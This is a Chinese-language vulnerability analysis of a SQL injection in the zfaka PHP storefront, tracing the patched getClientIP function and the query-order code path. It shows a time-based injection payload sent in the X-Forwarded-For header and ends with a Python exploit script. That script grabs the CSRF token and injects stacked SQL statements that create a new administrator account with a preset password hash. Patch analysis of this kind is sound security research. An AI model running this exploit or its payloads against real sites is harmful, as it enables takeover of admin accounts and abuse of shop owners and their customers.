zfaka官方于7月11日发布了补丁,修复了一处sql注入,简单记录下分析过程

0x01补丁

补丁显示修改了application/function/F_Network.php文件,该文件的getClientIP函数使用了网络上通用遍历XFFheader头获取真实IP的方法,但是获取完XFF后根据,截断获取第一个值后直接返回IP

image-20210728085410832

0x02 分析

全局搜索下调用该函数的位置,发现前台的application/modules/Product/controllers/Order.php文件和application/modules/Product/controllers/Query.php调用了该函数,对应功能为下单和订单查询功能

image-20210728085907920

进一步确认后为application/modules/Product/controllers/Query.php第151行为存在漏洞的代码

0x03 动态调试

对151行下断点进行调试

image-20210728090043966

找到对应功能

image-20210728091246070

成功断下,单步跟入

image-20210728091307932

发现在application/library/Core/Model.php中的Where方法对orderidisdeleteip 直接进行了拼接

image-20210728091614986

并在select方法中调用generateSQL方法进行拼接生成sql语句并执行

image-20210728091834330

image-20210728091932567

burpsuite修改XFF发包进行测试

image-20210728093635762

命中断点后获取到的IP为"or sleep(2)-- x执行的sql语句变为

SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = ""or sleep(2)-- x" AND addtime>=1624844145 ORDER BY `id` desc

image-20210728093649577

image-20210728093738524

去掉debug_session发包测试,延时3秒

image-20210728093942716

该处还支持堆叠注入,因此可以执行包括不限于添加管理、会员等功能。

半自动化脚本关键代码如下

def insertData(url):
vul_url='product/query/ajax/'
try:
session= requests.Session()
res=session.get(url,verify=False)
phpsessionid=res.headers['Set-Cookie']
searchObj = re.search( r'var TOKEN = ".*";', res.text, re.M|re.I)
if searchObj:
CSRF_TOKEN=searchObj.group(0).replace('var TOKEN = "','').replace('";','')
else:
print('获取CSRF_TOKEN失败')
exit
data['zlkbmethod']='orderid'
data['csrf_token']=CSRF_TOKEN
print('浏览器访问{URL},将[Cookie: {phpsessionid}]替换至浏览器Cookie中,获取验证码并输入至脚本中。'.format(phpsessionid=phpsessionid,URL=url+'product/query/?zlkbmethod=orderid').replace('; path=/',''))
data['vercode']=input('验证码:')
headers['X-Forwarded-For']='1111";insert into t_admin_user(`id`) values (\'{RandomNum}\');UPDATE t_admin_user SET `email`=\'{EMAIL}\' WHERE id = \'{RandomNum}\' ;UPDATE t_admin_user SET `password`=\'76b1807fc1c914f15588520b0833fbc3\' WHERE id = \'{RandomNum}\';UPDATE t_admin_user SET `secret`=\'78e055\' WHERE id = \'{RandomNum}\'#'.format(RandomNum=RNDNUM,EMAIL=EMAIL.lower())
res=session.post(url+vul_url,data=data,headers=headers,verify=False)
if res.status_code==200 and '1005' in res.text:
print('exploit success, account add success\nuse {EMAIL} 123456 to login {URL}'.format(EMAIL=EMAIL.lower(),URL=url+'/admin'))
else:
print('exploit failed.')
except:
print('Network Error.')